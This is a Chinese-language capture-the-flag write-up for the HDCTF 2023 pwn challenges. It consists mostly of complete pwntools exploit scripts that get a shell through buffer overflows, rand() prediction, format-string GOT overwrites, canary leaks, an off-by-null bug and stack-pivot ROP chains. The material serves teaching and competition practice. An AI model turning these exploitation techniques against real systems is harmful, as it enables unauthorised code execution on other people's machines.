HDCTF2023-WP


[TOC]

PWN

pwnner

  • rand伪随机数
  • ret2text
from pwn import *
from ctypes import *

io = process("./pwnner")
io = remote("node5.anna.nssctf.cn", 28272)

elf = ELF("./pwnner")

dll = cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")
dll.srand(0x39)

io.sendafter(b"name:\n", str(dll.rand()).encode())
print(dll.rand())

payload = b'A'*0x40 + b'deadbeef' + p64(0x4008B6)
io.sendafter(b'next?\n', payload)

io.interactive()

KEEP ON

  • 格式化字符串漏洞
  • 栈迁移

可以看到存在格式化字符串漏洞,且第二个read存在栈溢出,但是只能溢出到ret_addr,所以考虑栈迁移。且程序存在system函数,我们把/bin/sh写入栈上,然后调用system

利用思路1:

  • 通过格式化字符串泄漏出rbp的值,然后计算出s-8的地址
  • 然后栈迁移到s-8的位置

注意/bin/sh\x00要用\x00截断

exp:

from pwn import *
context.binary = './hdctf'
#context.log_level = 'debug'

io = process("./hdctf")
elf = ELF("./hdctf")
libc = elf.libc

pop_rdi = 0x00000000004008d3 #pop rdi ; ret
leave_ret = 0x00000000004007f2 #leave ; ret

payload = b'%16$p'

io.sendlineafter(b'name: \n', payload)
io.recvuntil(b'hello,')
rbp = int(io.recvuntil(b'\n', drop=True), 16)
print(hex(rbp))

target = rbp - 0x60 - 0x8
binsh = target + 0x20
payload  = p64(pop_rdi) + p64(binsh) + p64(elf.plt['system']) + b'/bin/sh\x00'
payload  = payload.ljust(0x50, b'A')
payload += p64(target) + p64(leave_ret)

io.sendafter(b'on !\n', payload)

io.interactive()

利用思路2:注意这里返回地址要返回到_start处,不然打不通,因为你如果直接返回到main函数的话,则没有进行一些初始化操作,可能导致偏移发生变化

  • 利用格式化字符串把printf_got修改为system_plt
  • 然后再返回vuln,输入/bin/sh\x00即可
from pwn import *
context.binary = './hdctf'
#context.log_level = 'debug'

#io = process("./hdctf")
io = remote("node4.anna.nssctf.cn", 28931)

elf = ELF("./hdctf")
libc = elf.libc

payload = fmtstr_payload(6, {elf.got['printf']:elf.plt['system']})

io.sendafter(b'name: \n', payload)
#要返回到_start函数哦!!!
payload = b'A'*0x58 + p64(elf.symbols['_start'])

io.sendafter(b'on !\n', payload)

io.sendafter(b'name: \n', b'/bin/sh\x00')

io.interactive()

Makewish

跟nkctf2023的baby_rop思路一样,只是这个题存在后门函数,所以不用自己泄漏libc了

  • 利用第一个read覆盖canary的低字节为非0,然后puts(buf)就可以泄漏canary了
  • rand伪随机数绕过就不说了
  • vuln函数中存在off by null 漏洞,可以覆盖rbp的低字节为0
  • 调用完vuln后有leave;ret指令,所以这里可以栈迁移,这里会迁移到rbp中的地址处(此时rbp中的地址低字节已经被覆盖为0了)
  • 所以我们可以把buf里面写满system后门函数的地址,这样只要能够有一次迁移到buf里面就可以getshell了(看运气啦>_<)

exp:注意key用p32哦,因为v4是int,四字节哦

from pwn import *
from ctypes import *
#context.log_level = 'debug'
#io = process("./pwn")

dll = cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")

key = dll.rand() % 1000 + 324

while True:
    try:
        io = process("./pwn")
        #覆盖canary低字节为0,从而泄漏canary
        io.sendafter(b"name\n\n", b'A'*0x29)
        print(io.recvuntil(b'hello,\n'))
        io.recv(0x29)
        #print(io.recv())
        canary = io.recv(7)
        canary = u64(canary.ljust(8, b'\x00')) << 8
        print("canary:", hex(canary))
        io.sendafter(b"key\n\n", p32(key)) #p32 p32 不然远程打不通
        #gdb.attach(io)
        #pause()
        #把buf填满system = 0x4004CB的地址
        payload = p64(0x4007CB)*11 + p64(canary)
        io.sendafter(b'me\n', payload)

        io.interactive()
    except Exception as e:
        io.close()
        break

Minions

与KEEP ON类似:

exp1:直接修改printf的got表项为system_plt

from pwn import *
context.binary = './minions1'
#context.log_level = 'debug'

io = process("./minions1")
#io = remote("node1.anna.nssctf.cn", 28259)

elf = ELF("./minions1")
libc = elf.libc

key = 0x00000000006010A0

ret_payload = b'A'*0x38 + p64(elf.symbols['_start'])

#修改key
payload = fmtstr_payload(6, {key:102})
io.sendafter(b'name?\n\n', payload)
io.sendafter(b'about you\n', ret_payload)
io.sendlineafter(b'Minions?\n', b'A')
#修改printf的got表项
payload = fmtstr_payload(6, {elf.got['printf']:elf.plt['system']})
io.sendafter(b'name?\n\n', payload)
io.sendafter(b'about you\n', ret_payload)
io.sendlineafter(b'Minions?\n', b'A')
#get shell
io.sendafter(b'name?\n\n', b'/bin/sh\x00')

io.interactive()

exp2:栈迁移,这里直接迁移到栈上,虽然可以迁移到bss段但是好像有点问题,exp3讲

注意:这里泄漏的栈地址是在vuln函数里面泄漏的,而我们读入的payload是在main的栈帧里面,所以不要算成了vuln里面的buf位置,所以这里自己得动手动调算一下偏移,你直接跟到vuln刚好结束,这时的栈帧就是main的栈帧

from pwn import *
context.binary = './minions1'
#context.log_level = 'debug'

#io = process("./minions1")
io = remote("node1.anna.nssctf.cn", 28236)

elf = ELF("./minions1")
libc = elf.libc

key = 0x00000000006010A0

ret_payload = b'A'*0x38 + p64(elf.symbols['_start'])

payload = fmtstr_payload(6, {key:102})
io.sendafter(b'name?\n\n', payload)
io.sendafter(b'about you\n', ret_payload)
io.sendlineafter(b'Minions?\n', b'/bin/sh\x00')

payload = b'A%32$p'
io.sendafter(b'name?\n\n', payload)
io.recvuntil(b'A')

stack = int(io.recvuntil(b'\n', drop=True), 16) - 0x30
print(hex(stack))

pop_rdi = 0x0000000000400893 # pop rdi ; ret
leave_ret = 0x0000000000400758 # leave ; ret
binsh = 0x00000000006010C0

payload  = p64(pop_rdi) + p64(binsh) + p64(elf.plt['system'])
payload  = payload.ljust(0x30, b'A')
payload += p64(stack-0x8) + p64(leave_ret)

io.sendafter(b'about you\n', payload)
io.sendlineafter(b'Minions?\n', b'/bin/sh\x00')

io.interactive()

exp3:官方预期解(暂时没搞懂,copy个exp吧)

from pwn import*
context(arch="amd64",log_level='debug')
p=process('./minions1')
key=0x6010A0
payload=fmtstr_payload(6, {key: 0x66})
p.send(payload)
p.recvuntil("welcome,tell me more about you")
leave_addr = 0x0000000000400758
bss_addr = 0x6010C0
#gdb.attach(p)
payload = cyclic(0x30)+p64(bss_addr)+p64(leave_addr)
p.send(payload)
#pause()
rdi_addr = 0x0000000000400893
system_addr = 0x400763
ret_addr=0x0000000000400581
p.recvuntil("That's great.Do you like Minions?")
read_addr = 0x4005E0
rsi_r15_addr = 0x0000000000400891
payload = b'/bin/sh\x00'+p64(rsi_r15_addr)+p64(0x6010e8)+p64(0)+p64(read_addr)
p.send(payload)
payload = p64(ret_addr)+p64(rsi_r15_addr)+p64(0x601110)+p64(0x601110)+p64(read_addr)
p.send(payload)
for i in range(1,60):
 payload = p64(ret_addr)+p64(rsi_r15_addr)+p64(0x601110+0x28*i)+p64(0x601110+0x28*i)+p64(read_addr)
 p.send(payload)
payload = p64(ret_addr)+p64(ret_addr)+p64(rdi_addr)+p64(0x6010c0)+p64(system_addr)
p.send(payload)
p.interactive()

RE(待复现)


文章作者: XiaozaYa
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 XiaozaYa !
  目录